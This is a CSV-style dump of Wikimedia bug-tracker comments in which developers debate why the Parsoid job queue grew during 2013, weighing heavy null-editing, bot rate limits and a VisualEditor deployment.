,4.250189332467813,0.7704749540192578,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE

Just editing a handful really popular templates (some are used in >7 million articles) can enqueue a lot of jobs (10 titles per job, so ~700k jobs). As can editing content at high rates. Core happens to cap the number of titles to re-render at 200k, while Parsoid re-renders all, albeit with a delay.

Ideally we'd prioritize direct edits over template updates as only the former has any performance impact. Editing a page with slightly out-of-date template rendering will still yield correct results. Longer-term our goal is to reduce API requests further so that we can run the Parsoid cluster at capacity without taking out the API.

And yes, I was referring to very straightforward social rules that are designed to prevent our users from overloading the site with expensive operations. We currently provide powerful API access that can easily be abused. If the attitude that everything that is not technically blocked must surely be ok becomes more popular we'll have to neuter those APIs significantly. Maybe it is actually time to technically enforce social rules more strictly, for example by automatically blocking abusers."
252065,Parsoid jobs are not dequeued fast enough during heavy editing activity,"No user in the ""bot"" user group was used to null edit. Just a standard and unprivileged (albeit autoconfirmed) account.

On Wikimedia wikis, 'edit' is rate-limited only for 'ip' and 'newbie', but not for 'user' or 'bot' or any other group, as far as I can tell.",,,1379899091,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,1.0,0.0,1.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,7.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,17.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.085714285714286,0.6714285714285714,"No user in the ""bot"" user group was used to null edit. Just a standard and unprivileged (albeit autoconfirmed) account.

On Wikimedia wikis, 'edit' is rate-limited only for 'ip' and 'newbie', but not for 'user' or 'bot' or any other group, as far as I can tell."
252059,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #16)
> (In reply to comment #14)
> > Bots are explicitly not rate-limited.
> 
> https://en.wikipedia.org/wiki/Wikipedia:Bot_policy#Bot_requirements states
> that
> ""bots doing non-urgent tasks may edit approximately once every ten seconds"". 
> Am I missing something?

That requirement is imposed by the community, it is not necessarily a technical limit. If you look at https://en.wikipedia.org/wiki/Special:ListGroupRights, the 'bot' group is deliberately exempted from rate limits with the 'noratelimit' userright.",,,1379897340,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,18.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,11.0,10.0,0.0,6.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.725806451612903,0.6774193548387096,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That requirement is imposed by the community, it is not necessarily a technical limit. If you look at URL the 'bot' group is deliberately exempted from rate limits with the 'noratelimit' userright."
252051,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #14)
> Bots are explicitly not rate-limited.

https://en.wikipedia.org/wiki/Wikipedia:Bot_policy#Bot_requirements states that ""bots doing non-urgent tasks may edit approximately once every ten seconds"". 
Am I missing something?",,,1379896974,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,3.0,8.0,3.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5833333333333335,0.9444444444444444,"(In reply to comment #14)
QUOTE

URL states that ""bots doing non-urgent tasks may edit approximately once every ten seconds"". 
Am I missing something?"
252044,Parsoid jobs are not dequeued fast enough during heavy editing activity,"I still see no answer about what the spike on July 29 was: are you saying it wasn't about parsoid, but just a coincidence? Or that it was normal to queue over a million jobs in a couple of days (initial caching of all pages or something?) but the second million was too much?

The new summary seems incorrect in two ways:
1) ""fast enough"" might be incorrect, you say that it's not important if it's slow,
2) ""during heavy bot activity"" is a possibly incorrect guess.
What's sure is that we no longer seem to have any meaningful job queue data.",,,1379880448,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,2.0,0.5,0.0,0.0,1.5,9.5,3.5,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,1.5,0.0,7.0,8.5,0.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.5,2.5,1.5,1.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,1.5,9.5,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,5.0,3.0,3.0,2.0,5.5,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,8.5,0.5,1.5,3.0,0.0,5.0,0.0,1.5,2.5,0.0,0.5,0.0,0.0,1.0,3.484375,0.78125,"I still see no answer about what the spike on July 29 was: are you saying it wasn't about parsoid, but just a coincidence? Or that it was normal to queue over a million jobs in a couple of days (initial caching of all pages or something?) but the second million was too much?

The new summary seems incorrect in two ways:
1) ""fast enough"" might be incorrect, you say that it's not important if it's slow,
2) ""during heavy bot activity"" is a possibly incorrect guess.
What's sure is that we no longer seem to have any meaningful job queue data."
252037,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #13)
> Still, to avoid any misunderstandings: Null editing at rates way higher than
> those allowed for bots is at best a very bad idea.

Bots are explicitly not rate-limited.",,,1379835104,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.238095238095238,0.9047619047619048,"(In reply to comment #13)
QUOTE
QUOTE

Bots are explicitly not rate-limited."
252030,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Changed the subject to be more accurate. Some more clarification for those less familiar with the way Parsoid caching works:

* Timely Parsoid cache refreshes are not needed for correctness. Delayed updates can result in a higher percentage of cache misses than usual, but will not result in incorrect edits.

* Parsoid uses its own queue, so a backlog does not affect any other job queue.

So in the bigger picture this is annoying, but not critical.

Still, to avoid any misunderstandings: Null editing at rates way higher than those allowed for bots is at best a very bad idea.",,,1379834310,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,2.0,0.0,1.0,0.5,2.5,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,8.5,10.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,6.5,1.0,1.5,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,10.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.5,3.5,1.0,0.0,4.181034482758621,0.8017241379310345,"Changed the subject to be more accurate. Some more clarification for those less familiar with the way Parsoid caching works:

* Timely Parsoid cache refreshes are not needed for correctness. Delayed updates can result in a higher percentage of cache misses than usual, but will not result in incorrect edits.

* Parsoid uses its own queue, so a backlog does not affect any other job queue.

So in the bigger picture this is annoying, but not critical.

Still, to avoid any misunderstandings: Null editing at rates way higher than those allowed for bots is at best a very bad idea."
252023,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #10)
> (In reply to comment #9)
> > Since
> > that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k
> > jobs).
> 
> Did the other jobs increase then? 

Jobs in other job queues (I see 26k refreshlinks2 jobs on enwiki for example), and/or Parsoid jobs on other wikis have likely slightly increased in number. Overall the queue size has slightly decreased since the null-editing was stopped.",,,1379792185,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,0.0,6.0,12.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,12.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9242424242424243,0.7121212121212122,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Jobs in other job queues (I see 26k refreshlinks2 jobs on enwiki for example), and/or Parsoid jobs on other wikis have likely slightly increased in number. Overall the queue size has slightly decreased since the null-editing was stopped."
252017,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #9)
> It seems that the Parsoid dequeue rate was slightly lower than the average
> enqueue rate since the end of July, which allowed the job backlog to build
> up a bit.

A bit? Looking at https://ganglia.wikimedia.org/latest/graph_all_periods.php?c=Miscellaneous%20pmtpa&h=hume.wikimedia.org&v=823574&m=Global_JobQueue_length&r=hour&z=default&jr=&js=&st=1365625056&z=large it seems like the queue went from 355,850 to 1,590,000 in the span of about six days (from July 29 to August 3). It grew by... 346%? That's what you're calling ""a bit""?",,,1379789440,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,0.0,5.0,17.0,5.0,5.0,3.0,0.0,5.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,2.9692307692307693,0.7846153846153846,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

A bit? Looking at URL it seems like the queue went from 355,850 to 1,590,000 in the span of about six days (from July 29 to August 3). It grew by... 346%? That's what you're calling ""a bit""?"
252009,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #9)
> Since
> that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k
> jobs).

Did the other jobs increase then? The total job queue was 3.01M and is now 2.94M (it generally goes down in European nights and so).",,,1379788021,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,7.0,0.0,2.0,9.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.217391304347826,0.8260869565217391,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

Did the other jobs increase then? The total job queue was 3.01M and is now 2.94M (it generally goes down in European nights and so)."
252002,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #6)
> (In reply to comment #3)
> > We dequeue Parsoid jobs in a throttled manner to avoid overloading the API
> > during edit spikes. This means that abnormal edit rates especially to
> > templates can create a large backlog of jobs in the Parsoid queue.
> 
> Where does Parsoid fit in to the general MediaWiki ecosystem? Are Parsoid
> jobs
> generated on every edit? If so, why? 

After an edit, the Parsoid HTML for each affected article is generated / updated with jobs that perform HTTP requests to the Parsoid cluster. This ensures that requests from VisualEditor and other users are normally served straight from cache. We have been processing all edits from all Wikipedias since June. As expected, VE deployments have not made a noticeable difference to the load on the Parsoid cluster.

It seems that the Parsoid dequeue rate was slightly lower than the average enqueue rate since the end of July, which allowed the job backlog to build up a bit. During MZMcBride's null edit episode the backlog doubled in size. Since that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k jobs).

So overall, the Parsoid job dequeue rate is slightly too low to absorb abnormal edit rates in a timely manner. It might be sufficient to slightly de-throttle the Parsoid dequeue rate while keeping an eye on the API cluster load (https://ganglia.wikimedia.org/latest/?r=hour&cs=&ce=&m=cpu_report&s=by+name&c=API+application+servers+eqiad&h=&host_regex=&max_graphs=0&tab=m&vn=&sh=1&z=small&hc=4).",,,1379787771,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,1.0,0.0,0.0,0.6666666666666666,0.3333333333333333,4.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,10.666666666666666,0.0,1.6666666666666667,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.3333333333333335,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,16.666666666666668,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,7.0,2.3333333333333335,12.666666666666666,2.3333333333333335,0.3333333333333333,9.0,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.6666666666666666,0.0,1.0,10.666666666666666,9.0,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,2.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,4.1571428571428575,0.7523809523809524,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

After an edit, the Parsoid HTML for each affected article is generated / updated with jobs that perform HTTP requests to the Parsoid cluster. This ensures that requests from VisualEditor and other users are normally served straight from cache. We have been processing all edits from all Wikipedias since June. As expected, VE deployments have not made a noticeable difference to the load on the Parsoid cluster.

It seems that the Parsoid dequeue rate was slightly lower than the average enqueue rate since the end of July, which allowed the job backlog to build up a bit. During MZMcBride's null edit episode the backlog doubled in size. Since that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k jobs).

So overall, the Parsoid job dequeue rate is slightly too low to absorb abnormal edit rates in a timely manner. It might be sufficient to slightly de-throttle the Parsoid dequeue rate while keeping an eye on the API cluster load (URL"
251997,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #7)
> Created attachment 13342 [details]
> Screenshot to accompany comment 2

The spike around July 29 is easy to see and most likely corresponds with the deployment mentioned in comment 2. There are also spikes around August 14 and September 8, neither of which have been accounted for yet.

**Attached**: {F11772}",,,1379780486,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,16.0,0.0,3.0,6.0,0.0,0.0,0.0,2.0,3.0,0.0,8.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.640625,0.828125,"(In reply to comment #7)
QUOTE
QUOTE

The spike around July 29 is easy to see and most likely corresponds with the deployment mentioned in comment 2. There are also spikes around August 14 and September 8, neither of which have been accounted for yet.

**Attached**: {F11772}"
251992,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Created attachment 13342
Screenshot to accompany comment 2

**Attached**: {F11772}",,,1379780363,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9473684210526314,0.8421052631578947,"Created attachment 13342
Screenshot to accompany comment 2

**Attached**: {F11772}"
251986,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #3)
> We dequeue Parsoid jobs in a throttled manner to avoid overloading the API
> during edit spikes. This means that abnormal edit rates especially to
> templates can create a large backlog of jobs in the Parsoid queue.

Where does Parsoid fit in to the general MediaWiki ecosystem? Are Parsoid jobs generated on every edit? If so, why? My understanding is that Parsoid is related to VisualEditor, so I have difficultly understanding how millions of Parsoid jobs would be queued unless they were all related to VisualEditor usage.

> The main issue seems to be MZMcBride's null editing at a rate way beyond even
> bot edit limits.

What's a bot edit limit?

> Do we have a product for DoS attack detection and -mitigation?

DoS attack? I think it makes sense for all of us to focus on why and how Parsoid is flooding the global job queue. Suggesting anyone was performing a denial-of-service attack is both inappropriate and unhelpful. There are a number of anti-abuse measures built in to MediaWiki, to answer your question generally.",,,1379774099,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,1.5,0.5,0.0,1.5,0.0,4.5,1.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,2.5,2.5,5.5,11.5,0.5,2.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,6.5,2.5,0.5,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,3.0,5.0,14.5,4.5,1.5,5.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,4.0,11.5,5.5,3.0,0.0,0.0,4.0,0.0,3.5,2.0,0.5,2.5,0.0,0.0,0.0,4.052882882882883,0.7385585585585586,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Where does Parsoid fit in to the general MediaWiki ecosystem? Are Parsoid jobs generated on every edit? If so, why? My understanding is that Parsoid is related to VisualEditor, so I have difficultly understanding how millions of Parsoid jobs would be queued unless they were all related to VisualEditor usage.

QUOTE
QUOTE

What's a bot edit limit?

QUOTE

DoS attack? I think it makes sense for all of us to focus on why and how Parsoid is flooding the global job queue. Suggesting anyone was performing a denial-of-service attack is both inappropriate and unhelpful. There are a number of anti-abuse measures built in to MediaWiki, to answer your question generally."
251982,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #2)
> For the record, my null editing respected maxlag. It also started August 28
> and
> ended September 20.

maxlag has actually little relevance as a metric on the task you were doing...",,,1379755583,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,13.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5,0.8666666666666667,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

maxlag has actually little relevance as a metric on the task you were doing..."
251976,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #3)
> The main issue seems to be MZMcBride's null editing at a rate way beyond even
> bot edit limits.

Can you please clarify how, in your opinion, the null editing retroactively caused a spike a month before its beginning? Thanks.",,,1379754279,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,0.8947368421052632,"(In reply to comment #3)
QUOTE
QUOTE

Can you please clarify how, in your opinion, the null editing retroactively caused a spike a month before its beginning? Thanks."
251971,Parsoid jobs are not dequeued fast enough during heavy editing activity,"We dequeue Parsoid jobs in a throttled manner to avoid overloading the API during edit spikes. This means that abnormal edit rates especially to templates can create a large backlog of jobs in the Parsoid queue. This is then slowly processed over time. Since this is a separate queue this won't hold up other job queues.

The main issue seems to be MZMcBride's null editing at a rate way beyond even bot edit limits. Do we have a product for DoS attack detection and -mitigation?",,,1379751042,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,1.0,6.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,5.0,15.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,2.0,1.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,15.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,4.212765957446808,0.7872340425531915,"We dequeue Parsoid jobs in a throttled manner to avoid overloading the API during edit spikes. This means that abnormal edit rates especially to templates can create a large backlog of jobs in the Parsoid queue. This is then slowly processed over time. Since this is a separate queue this won't hold up other job queues.

The main issue seems to be MZMcBride's null editing at a rate way beyond even bot edit limits. Do we have a product for DoS attack detection and -mitigation?"
251966,Parsoid jobs are not dequeued fast enough during heavy editing activity,"For the record, my null editing respected maxlag. It also started August 28 and ended September 20.

The graph goes wild around July 29, which seems to correspond tightly with ""16:44 logmsgbot: catrope synchronized wmf-config/InitialiseSettings.php 'Enable VE for anons on es/fr/he/it/pl/ru/svwiki; set dewiki back to opt-in mode'"".",,,1379717174,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,5.0,10.0,16.0,0.0,5.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.727272727272727,0.8311688311688312,"For the record, my null editing respected maxlag. It also started August 28 and ended September 20.

The graph goes wild around July 29, which seems to correspond tightly with ""16:44 logmsgbot: catrope synchronized wmf-config/InitialiseSettings.php 'Enable VE for anons on es/fr/he/it/pl/ru/svwiki; set dewiki back to opt-in mode'""."
251960,Parsoid jobs are not dequeued fast enough during heavy editing activity,"https://ganglia.wikimedia.org/latest/graph_all_periods.php?c=Miscellaneous%20pmtpa&h=hume.wikimedia.org&v=823574&m=Global_JobQueue_length&r=hour&z=default&jr=&js=&st=1365625056&z=large

06.11 < TimStarling> mostly parsoid
